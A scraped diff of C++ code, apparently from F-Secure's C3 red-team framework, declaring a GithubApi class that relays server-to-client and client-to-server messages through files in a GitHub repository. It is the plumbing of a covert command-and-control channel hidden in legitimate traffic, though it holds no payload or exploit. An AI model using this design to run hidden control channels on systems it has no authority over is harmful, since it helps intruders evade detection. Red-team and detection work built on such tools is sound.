if (data == NULL) {
|
||||||
|
return json::parse(SendHttpRequest(url, ContentType::MultipartFormData, {}, method));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
std::string j = data.dump();
|
||||||
|
return json::parse(SendHttpRequest(url, ContentType::ApplicationJson, { std::make_move_iterator(j.begin()), std::make_move_iterator(j.end()) }, method));
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,107 @@
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Common/json/json.hpp"
|
||||||
|
#include "Common/FSecure/WinHttp/WebProxy.h"
|
||||||
|
#include "Common/FSecure/WinHttp/Constants.h"
|
||||||
|
|
||||||
|
using json = nlohmann::json; //for easy parsing of json API: https://github.com/nlohmann/json
|
||||||
|
|
||||||
|
namespace FSecure
|
||||||
|
{
|
||||||
|
class GithubApi
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
|
||||||
|
/// Constructor for the Github Api class.
|
||||||
|
GithubApi(std::string const& token, std::string const& channelName, std::string const& userAgent);
|
||||||
|
|
||||||
|
/// Retrieve the Github Username and initialise for the instance
|
||||||
|
void SetUser();
|
||||||
|
|
||||||
|
/// set OAuth token for Github
|
||||||
|
/// @param token - the textual Github OAuth token.
|
||||||
|
void SetToken(std::string const& token);
|
||||||
|
|
||||||
|
/// set UserAgent for Github HTTP Request
|
||||||
|
/// @param userAgent
|
||||||
|
void SetUserAgent(std::string const& userAgent);
|
||||||
|
|
||||||
|
/// Set the channel (i.e. Github repository) that this object uses for communications
|
||||||
|
/// @param channelName - the channel name Id (not name), for example CGPMGFGSH.
|
||||||
|
void SetChannel(std::string const& channelName);
|
||||||
|
|
||||||
|
/// Will list the created folders in Github and if already preset return the channel name. If not already created,
|
||||||
|
/// creates a new folder on Github.
|
||||||
|
/// @param channelName - the actual name of the folder to create, such as "files".
|
||||||
|
/// @return - the channel name of the new or already existing channel.
|
||||||
|
std::string CreateChannel(std::string const& channelName);
|
||||||
|
|
||||||
|
/// List all the repository in the workspace the object's token is tied to.
|
||||||
|
/// @return - a map of {channelName -> channelId}
|
||||||
|
std::map<std::string, std::int64_t> ListChannels();
|
||||||
|
|
||||||
|
/// Download file by its path.
|
||||||
|
/// @param filename - path of file and the size. Format "filename:filesize"
|
||||||
|
/// @return - string of file content
|
||||||
|
FSecure::ByteVector ReadFile(std::string const& fileNameSHA);
|
||||||
|
|
||||||
|
/// Write a message as the contents of a file and upload to Github.
|
||||||
|
/// @param direction - the name of the file to upload
|
||||||
|
/// @param data - the text of the message
|
||||||
|
/// @param filename - optional custom filename for uploaded file
|
||||||
|
void WriteMessageToFile(std::string const& direction = "", ByteView data = {}, std::string const& providedFilename = "");
|
||||||
|
|
||||||
|
/// Upload a file in its entirety to Github
|
||||||
|
/// @param path - path to file for upload
|
||||||
|
void UploadFile(std::string const& path);
|
||||||
|
|
||||||
|
/// Delete a file
|
||||||
|
/// @param filename - the full path of the file on Github.
|
||||||
|
void DeleteFile(std::string const& filename);
|
||||||
|
|
||||||
|
/// Delete channel folder and all files within Github
|
||||||
|
void DeleteAllFiles();
|
||||||
|
|
||||||
|
/// Get all of the files representing messages by a direction. This is a C3 specific method, used by a server relay to get client messages and vice versa.
|
||||||
|
/// @param direction - the direction to search for (eg. "S2C").
|
||||||
|
/// @return - a map of timestamp and file id, where id allows replies to be read later
|
||||||
|
std::map<std::string, std::string> GetMessagesByDirection(std::string const& direction);
|
||||||
|
|
||||||
|
|
||||||
|
/// Default constructor.
|
||||||
|
GithubApi() = default;
|
||||||
|
|
||||||
|
private:
|
||||||
|
|
||||||
|
/// Hold proxy settings
|
||||||
|
WinHttp::WebProxy m_ProxyConfig;
|
||||||
|
|
||||||
|
/// The Github username
|
||||||
|
std::string m_Username;
|
||||||
|
|
||||||
|
/// The Github channel (repo) through which messages are sent and received, will be sent when the object is created.
|
||||||
|
std::string m_Channel;
|
||||||
|
|
||||||
|
/// The Github OAuth Token that allows the object access to the account. Needs to be manually created as described in documentation.
|
||||||
|
std::string m_Token;
|
||||||
|
|
||||||
|
/// UserAgent
|
||||||
|
std::string m_UserAgent;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/// Send http request, uses preset token for authentication (wrapper to easily set content type)
|
||||||
|
FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, WinHttp::ContentType contentType, std::vector<uint8_t> const& data, WinHttp::Method method, bool setAuthorizationHeader = true);
|
||||||
|
|
||||||
|
/// Send http request, uses preset token for authentication
|
||||||
|
FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, std::wstring const& contentType, std::vector<uint8_t> const& data, WinHttp::Method method, bool setAuthorizationHeader = true);
|
||||||
|
|
||||||
|
/// Send http request, uses preset token for authentication with github accept header to view raw file content
|
||||||
|
FSecure::ByteVector SendHttpRequest(std::string const& host, std::string const& acceptType, FSecure::WinHttp::Method method, bool setAuthorizationHeader);
|
||||||
|
|
||||||
|
/// Send http request with json data, uses preset token for authentication
|
||||||
|
json SendJsonRequest(std::string const& url, json const& data, WinHttp::Method method);
|
||||||
|
};
|
||||||
|
|
||||||
|
}
|
||||||
|
|
Loading…
Reference in New Issue